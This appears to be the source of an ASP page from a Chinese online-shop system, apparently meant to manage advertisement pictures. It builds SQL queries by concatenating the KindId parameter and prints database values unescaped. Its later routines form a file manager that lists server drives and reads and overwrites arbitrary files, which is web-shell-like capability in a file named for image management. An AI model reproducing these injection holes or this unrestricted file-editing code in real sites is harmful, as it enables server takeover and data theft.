urlpicmng.asp

诚信商店系统源代码

            </tr>
            <tr>
              <td height="6"></td>
            </tr>
          </table>
                       <input type=hidden name="wxl" value="Add">
					   <INPUT TYPE="hidden" Name="KindId" value='<%=KindId%>'>
					    <input type=hidden name="PicId" value=<%=PicId%>>

</form>

<%
HtmlEnd
end sub

sub ShowLookHtml()
  set sql2=server.createobject("ADODB.recordset")
  Query="select * from web_AdPic where PicKind='"&KindId&"' order by AddTime Desc"
'  response.write Query

  sql2.open Query,conn,1,1
  sql2.PageSize=CLng(PageSize)
  if Page>sql2.PageCount then Page=sql2.PageCount
  if not(sql2.eof) then
    sql2.absolutepage=CLng(Page)
  end if
  PageNum=sql2.PageCount
  Rows=sql2.RecordCount

  call HtmlListHead("[栏目广告列表]_"&GetName("select str_pKindName from web_ProKind where str_pKindID='"&KindID&"'"),sql2.RecordCount,sql2.PageCount,Page,"<a href='"&UrlFile&"?KindId="&KindId&"&wxl=ShowHtml'>增加栏目广告</a>",UrlFile&"?KindId="&KindId)
%>
<TABLE class=coolTable cellSpacing=0 cellPadding=2 altRowColor="oldlace" borderStyle="2" align="center">

  <THEAD>
  <TR align=middle>
    <TD align="center">图片</TD>
	<TD align="center">图片说明</TD>
	<TD align="center">发布时间</TD>
	<TD width=80 align="center">操&nbsp;&nbsp;作</TD>
  </TR>
  </THEAD>
  <TBODY>
<%for i=1 to Pagesize
   if sql2.eof then exit for
   %>
  <tr align=center>
	<td ><a href="<%=UnHtml(sql2("PicPath"))%>" target=blank>
	<%if right(sql2("PicPath"),3)="swf" then%>
		<OBJECT classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0"  HEIGHT="30">
		 <PARAM NAME=movie VALUE="<%=sql2("PicPath")%>"> <PARAM NAME=quality VALUE=high>
		 <EMBED src="<%=sql2("PicPath")%>" quality=high  HEIGHT="50" TYPE="application/x-shockwave-flash" PLUGINSPAGE="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash"></EMBED>
		</OBJECT>
	<%else%>
		<img src='<%=sql2("PicPath")%>' border=0 alt='<%=sql2("PicAbout")%>' HEIGHT="50">
	<%end if%>
		</a>
	</td>
	<td ><a href="<%=UnHtml(sql2("PicUrl"))%>" target=blank><%=sql2("PicAbout")%></a>&nbsp;</td>
	<td width=110><%=formatdatetime(sql2("AddTime"),vblongdate)%></td>
    <td width=110>
     <a href=<%response.write(UrlName&"?KindId="&KindId&"&wxl=Modi&PicId="&sql2("PicId"))%>>修改</a>&nbsp;
     <a href=<%response.write("javascript:confirmDel("&sql2("PicId")&")")%>>删除</a>
    </td>
  </tr>
<%
  sql2.movenext
  next
  if i<>18 then
  for i=i to 18
%>
   <TR>
    <td>&nbsp;</td>
    <td></td>
	<td></td>
	<td></td>
  </TR>
<%
  next
  end if
%>    
</TBODY></TABLE>
<%
 HtmlListEnd sql2.RecordCount,sql2.PageCount,Page,"<a href='"&UrlFile&"?KindId="&KindId&"&wxl=ShowHtml'>增加"&KindName(KindId)&"</a>",UrlFile&"?KindId="&KindId

'if KindId=0 or KindId=1 or KindId=2 then '网标 Banner 标志
 '  response.write "<br><br><table cellspacing=1 cellpadding=1 align=center bgcolor=#000000 width='550'><tr align=center bgcolor=#66CCCC><td>调用代码:<br>(说明IsUrl代表是否带有链接,有：IsUrl=1、无：IsUrl=0)</td><td>显示样式</td></tr><tr bgcolor=#ffffff><td>&lt;script src='/manage/getpicurl.asp?KindId="&KindId&"&IsUrl=1'&gt;&lt;/script&gt;</td><td>"
  ' response.write "<script src='getpicurl.asp?KindId="&KindId&"&IsUrl=1'></script></td></tr></table><div align=center>说明：显示最后一次发布的图片</div>"

'elseif KindId=3 or KindId=4 then
 '  response.write "<br><br><table cellspacing=1 cellpadding=1 align=center bgcolor=#000000 width='550'><tr align=center bgcolor=#66CCCC><td>调用代码:<br>(说明UrlType代表是以行方式显示还是列方式显示,行：UrlType=X、列：UrlType=Y)</td><td>显示样式</td></tr><tr bgcolor=#ffffff><td>&lt;script src='/manage/getpicurl.asp?KindId="&KindId&"&UrlType=X'&gt;&lt;/script&gt;</td><td>"
'   response.write "<script src='getpicurl.asp?KindId="&KindId&"&UrlType=X'></script></td></tr></table>"
'elseif KindId=5 then
 '  response.write "<br><br><table cellspacing=1 cellpadding=1 align=center bgcolor=#000000 width='550'><tr align=center bgcolor=#66CCCC><td>调用代码:</td></tr><tr bgcolor=#ffffff><td>&lt;script src='/manage/getpicurl.asp?KindId="&KindId&"'&gt;&lt;/script&gt;</td></tr></table><script src='getpicurl.asp?KindId="&KindId&"'></script>"

'end if

end sub

 sub GetDrives()
 	 dim DriveName(10)
	 DriveName(1)="<img src='images/35FLOPPY.ICO' height=20>"
	 DriveName(2)="<img src='images/DRIVE.ICO' height=20>"
	 DriveName(4)="<img src='images/CDDRIVE.ICO' height=20>"
	 response.write "<div align=center>程序运行目录:"&server.mappath("/")&"\</div>"
	 response.write "<table width=600 border='0' cellspacing='1' cellpadding='1' bgcolor='#6699FF' align=center><tr>"
	 for each thing in MyFileObject.Drives
	   response.write "<td bgcolor=#ffffff>"&DriveName(thing.Drivetype)&"<a href='"&FileName&"?wxl=LookDir&Root="&thing.DriveLetter&":\'>"
	   if thing.IsReady then 
		 response.write thing.VolumeName
	   else
		 if thing.Drivetype=1 then
		  response.write "3.5软盘"
		 elseif thing.Drivetype=4 then
		  response.write "光盘"
		 else
		   response.write "本地磁盘"
		 end if
	   end if
	   response.write "("&thing.DriveLetter&"：)</a></td>"
	 next
	 response.write "</tr></table>"
end sub

sub GetDir(tmpRoot)
   on error resume next
   set MyFolder=MyFileObject.GetFolder(tmpRoot)
   response.write "<table width=600 border='0' cellspacing='1' cellpadding='1' bgcolor='#6699FF' align=center>"
   response.write "<tr bgcolor=#FFFFFF><td colspan=2>当前目录："&tmpRoot&"<input type='hidden' name='tmpRoot' value='"&tmpRoot&"'></td><td align=right>"
   if not MyFolder.IsRootFolder then response.write "<a href='"&FileName&"?wxl=LookDir&Root="&MyFolder.parentFolder&"'>返回上级</a>"
   response.write "&nbsp;</td></tr>"
   response.write "<tr bgcolor=#DDDDDD><td width=390>名称</td><td align=right>大小</td><td width=120>&nbsp;&nbsp;修改时间</td></tr>"
   for each thing in MyFolder.subFolders
     response.write "<tr bgcolor=#ffffff><td><input type='radio' name='FileName' value='"&thing&"'><img src='images/CLSDFOLD.ICO' height=16><a href='"&FileName&"?wxl=LookDir&Root="&thing&"'>"&thing&"</a></td><td align=right>0</td><td>&nbsp;&nbsp;"&thing.DateLastModified&"</td></tr>"
   next
   for each thing in MyFolder.files
     response.write "<tr bgcolor=#ffffff><td><input type='radio' name='FileName' value='"&thing&"'><img src='images/006.ICO' height=16>"&thing&"</td><td  align=right>"
	 if round(thing.size/1024)>1000 then response.write round(thing.size/1024)/1000&"MB" else response.write round(thing.size/1024)&"K"
	 response.write "</td><td>&nbsp;&nbsp;"&thing.DateLastModified&"</td></tr>"
   next
   response.write "</table>"
end sub

sub GetMng()

 response.write "<table width=600 border='0' cellspacing='1' cellpadding='1' bgcolor='#6699FF' align=center>"
 response.write " <tr> "
 response.write "    <td>目标： "
 response.write "      <input type='text' name='txtInput' size=35><br><input type='radio' name='Kind' value='0' checked>目录<input type='radio' name='Kind' value='1'>文件"
 response.write "   </td>"
 response.write "    <td>操作："
 response.write "      <input type='submit' name='submit' value='新建' onClick=form.wxl.value='New'>"
 response.write "      <input type='submit' name='submit' value='复制' onClick=form.wxl.value='Copy'>"
 response.write "      <input type='submit' name='submit' value='移动' onClick=form.wxl.value='Move'>"
 response.write "      <input type='submit' name='submit' value='删除' onClick=form.wxl.value='DelOper'>"
 response.write "      <input type='submit' name='submit' value='编辑' onClick=form.wxl.value='Edit'>"
 response.write "      <input type='hidden' name='wxl' value=''>"
 response.write "     </td>"
 response.write "   </tr>"
 response.write "  </table>"

end sub

sub GetFileContent()
  dim objTextStream
  set objTextStream=MyFileObject.OpenTextFile(PathName,1)
  response.write "<table width=600 border='0' cellspacing='1' cellpadding='1' bgcolor='#6699FF' align=center>"
  response.write "<tr bgcolor=#FFFFFF><td colspan=2>当前目录："&tmpRoot&"<input type='hidden' name='Root' value='"&tmpRoot&"'></td><td align=right colspan=2>"
  response.write "<a href='"&FileName&"?wxl=LookDir&Root="&tmpRoot&"'>返回上级</a>"
  response.write "&nbsp;</td></tr><tr bgcolor=#ffffff><td colspan=3 >"
  response.write "<TEXTAREA NAME='txtContent' ROWS='30' COLS='120'>"&objTextStream.ReadALl&"</TEXTAREA>"
  response.write "</td></tr>"
  response.write "<tr bgcolor=#ffffff align=center><td colspan=3><input type='submit' name='submit' value='保   存'><input type='hidden' name='wxl' value='Save'><input type='hidden' name='FileName' value='"&PathName&"'></td></tr>"
  response.write "</table></form>"
  objTextStream.close
end sub

sub SaveFileContent()
  dim objTextStream
  set objTextStream=MyFileObject.CreateTextFile(PathName,True)
  txtContent=request("txtContent")
  objTextStream.Write txtContent
  objTextStream.Close
  GetDrives
  GetMng
  GetDir(Root)
end sub

%>
%>